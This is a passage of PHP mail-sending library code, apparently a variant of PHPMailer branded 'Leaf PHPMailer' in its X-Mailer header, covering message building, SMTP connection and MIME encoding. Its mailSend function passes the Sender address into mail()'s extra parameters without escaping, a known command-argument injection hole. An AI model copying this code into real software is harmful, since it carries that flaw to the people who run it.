if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
}
// Set whether the message is multipart/alternative
if (!empty($this->AltBody)) {
$this->ContentType = 'multipart/alternative';
}
$this->setMessageType();
// Refuse to send an empty message unless we are specifically allowing it
if (!$this->AllowEmpty and empty($this->Body)) {
throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
}
// Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
$this->MIMEHeader = '';
$this->MIMEBody = $this->createBody();
// createBody may have added some headers, so retain them
$tempheaders = $this->MIMEHeader;
$this->MIMEHeader = $this->createHeader();
$this->MIMEHeader .= $tempheaders;
// To capture the complete message when using mail(), create
// an extra header list which createHeader() doesn't fold in
if ($this->Mailer == 'mail') {
if (count($this->to) > 0) {
$this->mailHeader .= $this->addrAppend('To', $this->to);
} else {
$this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
}
$this->mailHeader .= $this->headerLine(
'Subject',
$this->encodeHeader($this->secureHeader(trim($this->Subject)))
);
}
// Sign with DKIM if enabled
if (!empty($this->DKIM_domain)
&& !empty($this->DKIM_private)
&& !empty($this->DKIM_selector)
&& file_exists($this->DKIM_private)) {
$header_dkim = $this->DKIM_Add(
$this->MIMEHeader . $this->mailHeader,
$this->encodeHeader($this->secureHeader($this->Subject)),
$this->MIMEBody
);
$this->MIMEHeader = rtrim($this->MIMEHeader, "
") . self::CRLF .
str_replace("
", "
", $header_dkim) . self::CRLF;
}
return true;
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
public function innerBody(){
}
/**
* Actually send a message.
* Send the email via the selected mechanism
* @throws phpmailerException
* @return boolean
*/
public function postSend()
{
try {
// Choose the mailer and send through it
switch ($this->Mailer) {
case 'sendmail':
case 'qmail':
return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
case 'smtp':
return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
case 'mail':
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
default:
$sendMethod = $this->Mailer.'Send';
if (method_exists($this, $sendMethod)) {
return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
}
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
}
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
}
return false;
}
/**
* Send mail using the $Sendmail program.
* @param string $header The message headers
* @param string $body The message body
* @see PHPMailer::$Sendmail
* @throws phpmailerException
* @access protected
* @return boolean
*/
protected function sendmailSend($header, $body)
{
if ($this->Sender != '') {
if ($this->Mailer == 'qmail') {
$sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
} else {
$sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
}
} else {
if ($this->Mailer == 'qmail') {
$sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
} else {
$sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
}
}
if ($this->SingleTo) {
foreach ($this->SingleToArray as $toAddr) {
if (!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, 'To: ' . $toAddr . "
");
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
$this->doCallback(
($result == 0),
array($toAddr),
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From
);
if ($result != 0) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
} else {
if (!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
$this->doCallback(
($result == 0),
$this->to,
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From
);
if ($result != 0) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
return true;
}
/**
* Send mail using the PHP mail() function.
* @param string $header The message headers
* @param string $body The message body
* @link http://www.php.net/manual/en/book.mail.php
* @throws phpmailerException
* @access protected
* @return boolean
*/
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);
if (empty($this->Sender)) {
$params = ' ';
} else {
$params = sprintf('-f%s', $this->Sender);
}
if ($this->Sender != '' and !ini_get('safe_mode')) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo && count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
} else {
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if (!$result) {
throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}
/**
* Get an instance to use for SMTP operations.
* Override this function to load your own SMTP implementation
* @return SMTP
*/
public function getSMTPInstance()
{
if (!is_object($this->smtp)) {
$this->smtp = new SMTP;
}
return $this->smtp;
}
/**
* Send mail via SMTP.
* Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
* Uses the PHPMailerSMTP class by default.
* @see PHPMailer::getSMTPInstance() to use a different class.
* @param string $header The message headers
* @param string $body The message body
* @throws phpmailerException
* @uses SMTP
* @access protected
* @return boolean
*/
protected function smtpSend($header, $body)
{
$bad_rcpt = array();
if (!$this->smtpConnect($this->SMTPOptions)) {
throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
}
if ('' == $this->Sender) {
$smtp_from = $this->From;
} else {
$smtp_from = $this->Sender;
}
if (!$this->smtp->mail($smtp_from)) {
$this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
}
// Attempt to send to all recipients
foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
foreach ($togroup as $to) {
if (!$this->smtp->recipient($to[0])) {
$error = $this->smtp->getError();
$bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
$isSent = false;
} else {
$isSent = true;
}
$this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
}
}
// Only send the DATA command if we have viable recipients
if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
}
if ($this->SMTPKeepAlive) {
$this->smtp->reset();
} else {
$this->smtp->quit();
$this->smtp->close();
}
//Create error message for any bad addresses
if (count($bad_rcpt) > 0) {
$errstr = '';
foreach ($bad_rcpt as $bad) {
$errstr .= $bad['to'] . ': ' . $bad['error'];
}
throw new phpmailerException(
$this->lang('recipients_failed') . $errstr,
self::STOP_CONTINUE
);
}
return true;
}
/**
* Initiate a connection to an SMTP server.
* Returns false if the operation failed.
* @param array $options An array of options compatible with stream_context_create()
* @uses SMTP
* @access public
* @throws phpmailerException
* @return boolean
*/
public function smtpConnect($options = array())
{
if (is_null($this->smtp)) {
$this->smtp = $this->getSMTPInstance();
}
// Already connected?
if ($this->smtp->connected()) {
return true;
}
$this->smtp->setTimeout($this->Timeout);
$this->smtp->setDebugLevel($this->SMTPDebug);
$this->smtp->setDebugOutput($this->Debugoutput);
$this->smtp->setVerp($this->do_verp);
$hosts = explode(';', $this->Host);
$lastexception = null;
foreach ($hosts as $hostentry) {
$hostinfo = array();
if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
// Not a valid host entry
continue;
}
// $hostinfo[2]: optional ssl or tls prefix
// $hostinfo[3]: the hostname
// $hostinfo[4]: optional port number
// The host string prefix can temporarily override the current setting for SMTPSecure
// If it's not specified, the default value is used
$prefix = '';
$secure = $this->SMTPSecure;
$tls = ($this->SMTPSecure == 'tls');
if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
$prefix = 'ssl://';
$tls = false; // Can't have SSL and TLS at the same time
$secure = 'ssl';
} elseif ($hostinfo[2] == 'tls') {
$tls = true;
// tls doesn't use a prefix
$secure = 'tls';
}
//Do we need the OpenSSL extension?
$sslext = defined('OPENSSL_ALGO_SHA1');
if ('tls' === $secure or 'ssl' === $secure) {
//Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
if (!$sslext) {
throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
}
}
$host = $hostinfo[3];
$port = $this->Port;
$tport = (integer)$hostinfo[4];
if ($tport > 0 and $tport < 65536) {
$port = $tport;
}
if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
try {
if ($this->Helo) {
$hello = $this->Helo;
} else {
$hello = $this->serverHostname();
}
$this->smtp->hello($hello);
//Automatically enable TLS encryption if:
// * it's not disabled
// * we have openssl extension
// * we are not already using SSL
// * the server offers STARTTLS
if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
$tls = true;
}
if ($tls) {
if (!$this->smtp->startTLS()) {
throw new phpmailerException($this->lang('connect_host'));
}
// We must resend HELO after tls negotiation
$this->smtp->hello($hello);
}
if ($this->SMTPAuth) {
if (!$this->smtp->authenticate(
$this->Username,
$this->Password,
$this->AuthType,
$this->Realm,
$this->Workstation
)
) {
throw new phpmailerException($this->lang('authenticate'));
}
}
return true;
} catch (phpmailerException $exc) {
$lastexception = $exc;
$this->edebug($exc->getMessage());
// We must have connected, but then failed TLS or Auth, so close connection nicely
$this->smtp->quit();
}
}
}
// If we get here, all connection attempts have failed, so close connection hard
$this->smtp->close();
// As we've caught all exceptions, just report whatever the last one was
if ($this->exceptions and !is_null($lastexception)) {
throw $lastexception;
}
return false;
}
/**
* Close the active SMTP session if one exists.
* @return void
*/
public function smtpClose()
{
if ($this->smtp !== null) {
if ($this->smtp->connected()) {
$this->smtp->quit();
$this->smtp->close();
}
}
}
/**
* Set the language for error messages.
* Returns false if it cannot load the language file.
* The default language is English.
* @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
* @param string $lang_path Path to the language file directory, with trailing separator (slash)
* @return boolean
* @access public
*/
public function setLanguage($langcode = 'en', $lang_path = '')
{
// Define full set of translatable strings in English
$PHPMAILER_LANG = array(
'authenticate' => 'SMTP Error: Could not authenticate.',
'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
'data_not_accepted' => 'SMTP Error: data not accepted.',
'empty_message' => 'Message body empty',
'encoding' => 'Unknown encoding: ',
'execute' => 'Could not execute: ',
'file_access' => 'Could not access file: ',
'file_open' => 'File Error: Could not open file: ',
'from_failed' => 'The following From address failed: ',
'instantiate' => 'Could not instantiate mail function.',
'invalid_address' => 'Invalid address: ',
'mailer_not_supported' => ' mailer is not supported.',
'provide_address' => 'You must provide at least one recipient email address.',
'recipients_failed' => 'SMTP Error: The following recipients failed: ',
'signing' => 'Signing Error: ',
'smtp_connect_failed' => 'SMTP connect() failed.',
'smtp_error' => 'SMTP server error: ',
'variable_set' => 'Cannot set or reset variable: ',
'extension_missing' => 'Extension missing: '
);
if (empty($lang_path)) {
// Calculate an absolute path so it can work if CWD is not here
$lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
}
$foundlang = true;
$lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
// There is no English translation file
if ($langcode != 'en') {
// Make sure language file path is readable
if (!is_readable($lang_file)) {
$foundlang = false;
} else {
// Overwrite language-specific strings.
// This way we'll never have missing translation keys.
$foundlang = include $lang_file;
}
}
$this->language = $PHPMAILER_LANG;
return (boolean)$foundlang; // Returns false if language not found
}
/**
* Get the array of strings for the current language.
* @return array
*/
public function getTranslations()
{
return $this->language;
}
/**
* Create recipient headers.
* @access public
* @param string $type
* @param array $addr An array of recipient,
* where each recipient is a 2-element indexed array with element 0 containing an address
* and element 1 containing a name, like:
* array(array('[email protected]', 'Joe User'), array('[email protected]', 'Zoe User'))
* @return string
*/
public function addrAppend($type, $addr)
{
$addresses = array();
foreach ($addr as $address) {
$addresses[] = $this->addrFormat($address);
}
return $type . ': ' . implode(', ', $addresses) . $this->LE;
}
/**
* Format an address for use in a message header.
* @access public
* @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
* like array('[email protected]', 'Joe User')
* @return string
*/
public function addrFormat($addr)
{
if (empty($addr[1])) { // No name provided
return $this->secureHeader($addr[0]);
} else {
return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
$addr[0]
) . '>';
}
}
/**
* Word-wrap message.
* For use with mailers that do not automatically perform wrapping
* and for quoted-printable encoded messages.
* Original written by philippe.
* @param string $message The message to wrap
* @param integer $length The line length to wrap to
* @param boolean $qp_mode Whether to run in Quoted-Printable mode
* @access public
* @return string
*/
public function wrapText($message, $length, $qp_mode = false)
{
if ($qp_mode) {
$soft_break = sprintf(' =%s', $this->LE);
} else {
$soft_break = $this->LE;
}
// If utf-8 encoding is used, we will need to make sure we don't
// split multibyte characters when we wrap
$is_utf8 = (strtolower($this->CharSet) == 'utf-8');
$lelen = strlen($this->LE);
$crlflen = strlen(self::CRLF);
$message = $this->fixEOL($message);
//Remove a trailing line break
if (substr($message, -$lelen) == $this->LE) {
$message = substr($message, 0, -$lelen);
}
//Split message into lines
$lines = explode($this->LE, $message);
//Message will be rebuilt in here
$message = '';
foreach ($lines as $line) {
$words = explode(' ', $line);
$buf = '';
$firstword = true;
foreach ($words as $word) {
if ($qp_mode and (strlen($word) > $length)) {
$space_left = $length - strlen($buf) - $crlflen;
if (!$firstword) {
if ($space_left > 20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == '=') {
$len--;
} elseif (substr($word, $len - 2, 1) == '=') {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
$buf .= ' ' . $part;
$message .= $buf . sprintf('=%s', self::CRLF);
} else {
$message .= $buf . $soft_break;
}
$buf = '';
}
while (strlen($word) > 0) {
if ($length <= 0) {
break;
}
$len = $length;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == '=') {
$len--;
} elseif (substr($word, $len - 2, 1) == '=') {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
if (strlen($word) > 0) {
$message .= $part . sprintf('=%s', self::CRLF);
} else {
$buf = $part;
}
}
} else {
$buf_o = $buf;
if (!$firstword) {
$buf .= ' ';
}
$buf .= $word;
if (strlen($buf) > $length and $buf_o != '') {
$message .= $buf_o . $soft_break;
$buf = $word;
}
}
$firstword = false;
}
$message .= $buf . self::CRLF;
}
return $message;
}
/**
* Find the last character boundary prior to $maxLength in a utf-8
* quoted-printable encoded string.
* Original written by Colin Brown.
* @access public
* @param string $encodedText utf-8 QP text
* @param integer $maxLength Find the last character boundary prior to this length
* @return integer
*/
public function utf8CharBoundary($encodedText, $maxLength)
{
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
$encodedCharPos = strpos($lastChunk, '=');
if (false !== $encodedCharPos) {
// Found start of encoded character byte within $lookBack block.
// Check the encoded byte value (the 2 chars after the '=')
$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
$dec = hexdec($hex);
if ($dec < 128) {
// Single byte character.
// If the encoded char was found at pos 0, it will fit
// otherwise reduce maxLength to start of the encoded char
if ($encodedCharPos > 0) {
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
}
$foundSplitPos = true;
} elseif ($dec >= 192) {
// First byte of a multi byte character
// Reduce maxLength to split at start of character
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec < 192) {
// Middle byte of a multi byte character, look further back
$lookBack += 3;
}
} else {
// No encoded character found
$foundSplitPos = true;
}
}
return $maxLength;
}
/**
* Apply word wrapping to the message body.
* Wraps the message body to the number of chars set in the WordWrap property.
* You should only do this to plain-text bodies as wrapping HTML tags may break them.
* This is called automatically by createBody(), so you don't need to call it yourself.
* @access public
* @return void
*/
public function setWordWrap()
{
if ($this->WordWrap < 1) {
return;
}
switch ($this->message_type) {
case 'alt':
case 'alt_inline':
case 'alt_attach':
case 'alt_inline_attach':
$this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
break;
default:
$this->Body = $this->wrapText($this->Body, $this->WordWrap);
break;
}
}
/**
* Assemble message headers.
* @access public
* @return string The assembled headers
*/
public function createHeader()
{
$result = '';
if ($this->MessageDate == '') {
$this->MessageDate = self::rfcDate();
}
$result .= $this->headerLine('Date', $this->MessageDate);
// To be created automatically by mail()
if ($this->SingleTo) {
if ($this->Mailer != 'mail') {
foreach ($this->to as $toaddr) {
$this->SingleToArray[] = $this->addrFormat($toaddr);
}
}
} else {
if (count($this->to) > 0) {
if ($this->Mailer != 'mail') {
$result .= $this->addrAppend('To', $this->to);
}
} elseif (count($this->cc) == 0) {
$result .= $this->headerLine('To', 'undisclosed-recipients:;');
}
}
$result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
// sendmail and mail() extract Cc from the header before sending
if (count($this->cc) > 0) {
$result .= $this->addrAppend('Cc', $this->cc);
}
// sendmail and mail() extract Bcc from the header before sending
if ((
$this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
)
and count($this->bcc) > 0
) {
$result .= $this->addrAppend('Bcc', $this->bcc);
}
if (count($this->ReplyTo) > 0) {
$result .= $this->addrAppend('Reply-To', $this->ReplyTo);
}
// mail() sets the subject itself
if ($this->Mailer != 'mail') {
$result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
}
if ($this->MessageID != '') {
$this->lastMessageID = $this->MessageID;
} else {
$this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
}
$result .= $this->headerLine('Message-ID', $this->lastMessageID);
if (!is_null($this->Priority)) {
$result .= $this->headerLine('X-Priority', $this->Priority);
}
if ($this->XMailer == '') {
$result .= $this->headerLine(
'X-Mailer',
'Leaf PHPMailer 2.7 (leafmailer.pw)'
);
} else {
$myXmailer = trim($this->XMailer);
if ($myXmailer) {
$result .= $this->headerLine('X-Mailer', $myXmailer);
}
}
if ($this->ConfirmReadingTo != '') {
$result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
}
// Add custom headers
foreach ($this->CustomHeader as $header) {
$result .= $this->headerLine(
trim($header[0]),
$this->encodeHeader(trim($header[1]))
);
}
if (!$this->sign_key_file) {
$result .= $this->headerLine('MIME-Version', '1.0');
$result .= $this->getMailMIME();
}
return $result;
}
/**
* Get the message MIME type headers.
* @access public
* @return string
*/
public function getMailMIME()
{
$result = '';
$ismultipart = true;
switch ($this->message_type) {
case 'inline':
$result .= $this->headerLine('Content-Type', 'multipart/related;');
$result .= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
break;
case 'attach':
case 'inline_attach':
case 'alt_attach':
case 'alt_inline_attach':
$result .= $this->headerLine('Content-Type', 'multipart/mixed;');
$result .= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
break;
case 'alt':
case 'alt_inline':
$result .= $this->headerLine('Content-Type', 'multipart/alternative;');
$result .= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
break;
default:
// Catches case 'plain': and case '':
$result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
$ismultipart = false;
break;
}
// RFC1341 part 5 says 7bit is assumed if not specified
if ($this->Encoding != '7bit') {
// RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
if ($ismultipart) {
if ($this->Encoding == '8bit') {
$result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
}
// The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
} else {
$result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
}
}
if ($this->Mailer != 'mail') {
$result .= $this->LE;
}
return $result;
}
/**
* Returns the whole MIME message.
* Includes complete headers and body.
* Only valid post preSend().
* @see PHPMailer::preSend()
* @access public
* @return string
*/
public function getSentMIMEMessage()
{
return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
}
/**
* Assemble the message body.
* Returns an empty string on failure.
* @access public
* @throws phpmailerException
* @return string The assembled message body
*/
public function createBody()
{
$body = '';
//Create unique IDs and preset boundaries
$this->uniqueid = md5(uniqid(time()));
$this->boundary[1] = 'b1_' . $this->uniqueid;
$this->boundary[2] = 'b2_' . $this->uniqueid;
$this->boundary[3] = 'b3_' . $this->uniqueid;
if ($this->sign_key_file) {
$body .= $this->getMailMIME() . $this->LE;
}
$this->setWordWrap();
$bodyEncoding = $this->Encoding;
$bodyCharSet = $this->CharSet;
//Can we do a 7-bit downgrade?
if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
$bodyEncoding = '7bit';
$bodyCharSet = 'us-ascii';
}
//If lines are too long, and we're not already using an encoding that will shorten them,
//change to quoted-printable transfer encoding
if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
$this->Encoding = 'quoted-printable';
$bodyEncoding = 'quoted-printable';
}
$altBodyEncoding = $this->Encoding;
$altBodyCharSet = $this->CharSet;
//Can we do a 7-bit downgrade?
if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
$altBodyEncoding = '7bit';
$altBodyCharSet = 'us-ascii';
}
//If lines are too long, and we're not already using an encoding that will shorten them,
//change to quoted-printable transfer encoding
if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
$altBodyEncoding = 'quoted-printable';
}
//Use this as a preamble in all multipart message types
$mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
switch ($this->message_type) {
case 'inline':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[1]);
break;
case 'attach':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'inline_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'alt':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
if (!empty($this->Ical)) {
$body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
$body .= $this->encodeString($this->Ical, $this->Encoding);
$body .= $this->LE . $this->LE;
}
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_inline':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/alternative;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'alt_inline_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/alternative;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->textLine('--' . $this->boundary[2]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[3] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[3]);
$body .= $this->LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
default:
// catch case 'plain' and case ''
$body .= $this->encodeString($this->Body, $bodyEncoding);
break;
}
if ($this->isError()) {
$body = '';
} elseif ($this->sign_key_file) {
try {
if (!defined('PKCS7_TEXT')) {
throw new phpmailerException($this->lang('extension_missing') . 'openssl');
}
// @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
$file = tempnam(sys_get_temp_dir(), 'mail');
if (false === file_put_contents($file, $body)) {
throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
}
$signed = tempnam(sys_get_temp_dir(), 'signed');
//Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
if (empty($this->sign_extracerts_file)) {
$sign = @openssl_pkcs7_sign(
$file,
$signed,
'file://' . realpath($this->sign_cert_file),
array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
null
);
} else {
$sign = @openssl_pkcs7_sign(
$file,
$signed,
'file://' . realpath($this->sign_cert_file),
array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
null,
PKCS7_DETACHED,
$this->sign_extracerts_file
);
}
if ($sign) {
@unlink($file);
$body = file_get_contents($signed);
@unlink($signed);
//The message returned by openssl contains both headers and body, so need to split them up
$parts = explode("
", $body, 2);
$this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
$body = $parts[1];
} else {
@unlink($file);
@unlink($signed);
throw new phpmailerException($this->lang('signing') . openssl_error_string());
}
} catch (phpmailerException $exc) {
$body = '';
if ($this->exceptions) {
throw $exc;
}
}
}
return $body;
}
/**
* Return the start of a message boundary.
* @access protected
* @param string $boundary
* @param string $charSet
* @param string $contentType
* @param string $encoding
* @return string
*/
protected function getBoundary($boundary, $charSet, $contentType, $encoding)
{
$result = '';
if ($charSet == '') {
$charSet = $this->CharSet;
}
if ($contentType == '') {
$contentType = $this->ContentType;
}
if ($encoding == '') {
$encoding = $this->Encoding;
}
$result .= $this->textLine('--' . $boundary);
$result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
$result .= $this->LE;
// RFC1341 part 5 says 7bit is assumed if not specified
if ($encoding != '7bit') {
$result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
}
$result .= $this->LE;
return $result;
}
/**
* Return the end of a message boundary.
* @access protected
* @param string $boundary
* @return string
*/
protected function endBoundary($boundary)
{
return $this->LE . '--' . $boundary . '--' . $this->LE;
}
/**
* Set the message type.
* PHPMailer only supports some preset message types,
* not arbitrary MIME structures.
* @access protected
* @return void
*/
protected function setMessageType()
{
$type = array();
if ($this->alternativeExists()) {
$type[] = 'alt';
}
if ($this->inlineImageExists()) {
$type[] = 'inline';
}
if ($this->attachmentExists()) {
$type[] = 'attach';
}
$this->message_type = implode('_', $type);
if ($this->message_type == '') {
$this->message_type = 'plain';
}
}
/**
* Format a header line.
* @access public
* @param string $name
* @param string $value
* @return string
*/
public function headerLine($name, $value)
{
return $name . ': ' . $value . $this->LE;
}
/**
* Return a formatted mail line.
* @access public
* @param string $value
* @return string
*/
public function textLine($value)
{
return $value . $this->LE;
}
/**
* Add an attachment from a path on the filesystem.
* Returns false if the file could not be found or read.
* @param string $path Path to the attachment.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
